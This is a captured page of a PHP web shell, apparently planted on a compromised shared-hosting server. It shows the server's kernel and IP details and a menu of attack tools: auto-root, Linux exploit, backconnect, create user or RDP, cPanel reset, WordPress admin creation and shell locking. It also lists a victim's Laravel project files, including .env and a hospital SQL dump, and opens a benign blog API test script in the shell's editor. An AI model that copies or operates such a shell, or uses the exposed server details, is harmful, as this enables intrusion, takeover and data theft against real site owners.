Linux server292.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 162.0.235.5 | : 216.73.216.33
Cant Read [ /etc/named.conf ]
8.3.25
comfsblg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
comfsblg /
skills-api /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
mobile-app
[ DIR ]
drwxr-xr-x
public
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
routes
[ DIR ]
drwxr-xr-x
storage
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
.DS_Store
8
KB
-rw-r--r--
.env
1.5
KB
-rw-r--r--
.gitattributes
66
B
-rw-r--r--
.gitignore
41
B
-rw-r--r--
.htaccess
386
B
-rw-r--r--
8LEARNING_TRANSFORMATION_COMPL...
8.33
KB
-rw-r--r--
BACKEND_COMPLETION_SUMMARY.md
3.47
KB
-rw-r--r--
CHAT_REFACTORING_COMPLETION_RE...
5.99
KB
-rw-r--r--
COURSE_ADMIN_CONTROLLERS_SUMMA...
7.93
KB
-rw-r--r--
COURSE_MODULE_DUMMY_DATA_SUMMA...
6.27
KB
-rw-r--r--
EIGHT_LEARNING_API_TEST_RESULT...
6.92
KB
-rw-r--r--
ENHANCED_LEARNING_SYSTEM_PLAN....
9.62
KB
-rw-r--r--
README.md
31
B
-rw-r--r--
artisan
1.65
KB
-rw-r--r--
composer.json
2.22
KB
-rw-r--r--
composer.lock
395.26
KB
-rw-r--r--
debug_registration.php
0
B
-rw-r--r--
error_log
248
B
-rw-r--r--
generate_course_dummy_data.php
39.75
KB
-rw-r--r--
generate_course_dummy_data_bac...
39.75
KB
-rw-r--r--
generate_uganda_course_dummy_d...
15.63
KB
-rw-r--r--
hospital.sql
383.84
KB
-rw-r--r--
important-commands.txt
468
B
-rw-r--r--
loundry-app-stps.md
672
B
-rw-r--r--
package.json
473
B
-rw-r--r--
phpunit.xml
1.17
KB
-rw-r--r--
quick_auth_test.php
2
KB
-rw-r--r--
server.php
563
B
-rw-r--r--
test_all_api_endpoints.php
33.84
KB
-rw-r--r--
test_blog_api.php
4.24
KB
-rw-r--r--
test_camelcase_endpoint.php
1.08
KB
-rw-r--r--
test_chat_api.php
4.09
KB
-rw-r--r--
test_chat_system.php
3.99
KB
-rw-r--r--
test_company_update.php
1.25
KB
-rw-r--r--
test_contact_api.php
2.48
KB
-rw-r--r--
test_delete_account.php
0
B
-rw-r--r--
test_gdpr.php
2.63
KB
-rw-r--r--
test_gdpr_duplicate_request.ph...
2.58
KB
-rw-r--r--
test_learning_api.php
5.17
KB
-rw-r--r--
test_learning_api_complete.php
9.16
KB
-rw-r--r--
test_learning_endpoints.php
9.62
KB
-rw-r--r--
test_login.php
3.17
KB
-rw-r--r--
test_my_chats.php
2.04
KB
-rw-r--r--
test_registration.php
0
B
-rw-r--r--
test_send_message.php
2.57
KB
-rw-r--r--
update_uganda_courses.php
5.58
KB
-rw-r--r--
webpack.mix.js
559
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_blog_api.php
<?php // Test Blog API Endpoints error_reporting(E_ALL); ini_set('display_errors', 1); $baseUrl = 'http://localhost:8888/skills-ug-web/api'; function testEndpoint($method, $endpoint, $data = [], $description = '', $expectSuccess = true) { global $baseUrl; $url = $baseUrl . '/' . $endpoint; echo "\n" . str_repeat('=', 60) . "\n"; echo "Testing: $description\n"; echo "Method: $method\n"; echo "URL: $url\n"; if ($method === 'GET' && !empty($data)) { $url .= '?' . http_build_query($data); echo "Full URL: $url\n"; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Accept: application/json', 'X-Requested-With: XMLHttpRequest' ]); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); } $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); echo "HTTP Code: $httpCode\n"; if ($error) { echo "CURL Error: $error\n"; return false; } $decoded = json_decode($response, true); if ($httpCode >= 200 && $httpCode < 300) { echo "✅ SUCCESS\n"; if (isset($decoded['data'])) { echo "Response Data Type: " . gettype($decoded['data']) . "\n"; if (is_array($decoded['data']) && !empty($decoded['data'])) { if (isset($decoded['data']['data'])) { echo "Items Count: " . count($decoded['data']['data']) . "\n"; if (!empty($decoded['data']['data'])) { $firstItem = $decoded['data']['data'][0]; echo "Sample Item Keys: " . implode(', ', array_keys($firstItem)) . "\n"; } } else { echo "Items Count: " . count($decoded['data']) . "\n"; if (!empty($decoded['data']) && is_array($decoded['data'][0] ?? null)) { $firstItem = $decoded['data'][0]; echo "Sample Item Keys: " . implode(', ', array_keys($firstItem)) . "\n"; } } } elseif (is_array($decoded['data']) && isset($decoded['data']['title'])) { echo "Blog Post: " . $decoded['data']['title'] . "\n"; echo "Slug: " . $decoded['data']['slug'] . "\n"; echo "Category: " . ($decoded['data']['category'] ?? 'N/A') . "\n"; } } echo "Message: " . ($decoded['message'] ?? 'No message') . "\n"; } else { echo "❌ ERROR\n"; echo "Response: " . substr($response, 0, 500) . "\n"; } return $httpCode >= 200 && $httpCode < 300; } echo "🚀 Blog API Testing Started\n"; // Test 1: Get all blog posts testEndpoint('GET', 'blog-posts', [], 'Get All Blog Posts'); // Test 2: Get blog posts with search testEndpoint('GET', 'blog-posts', ['search' => 'interview'], 'Search Blog Posts'); // Test 3: Get blog posts by category testEndpoint('GET', 'blog-posts', ['category' => 'Career Development'], 'Get Posts by Category'); // Test 4: Get featured blog posts testEndpoint('GET', 'blog-posts', ['featured' => 'true'], 'Get Featured Posts'); // Test 5: Get blog posts with pagination testEndpoint('GET', 'blog-posts', ['per_page' => 5, 'page' => 1], 'Get Posts with Pagination'); // Test 6: Get single blog post testEndpoint('GET', 'blog-posts/top-10-job-interview-tips-ugandan-job-seekers', [], 'Get Single Blog Post'); // Test 7: Get blog categories testEndpoint('GET', 'blog-categories', [], 'Get Blog Categories'); // Test 8: Get blog tags testEndpoint('GET', 'blog-tags', [], 'Get Blog Tags'); // Test 9: Record blog post view testEndpoint('POST', 'blog-posts/1/view', [], 'Record Blog Post View'); // Test 10: Like blog post testEndpoint('POST', 'blog-posts/1/like', [], 'Like Blog Post'); echo "\n" . str_repeat('=', 60) . "\n"; echo "🎉 Blog API Testing Completed!\n"; echo str_repeat('=', 60) . "\n";
Close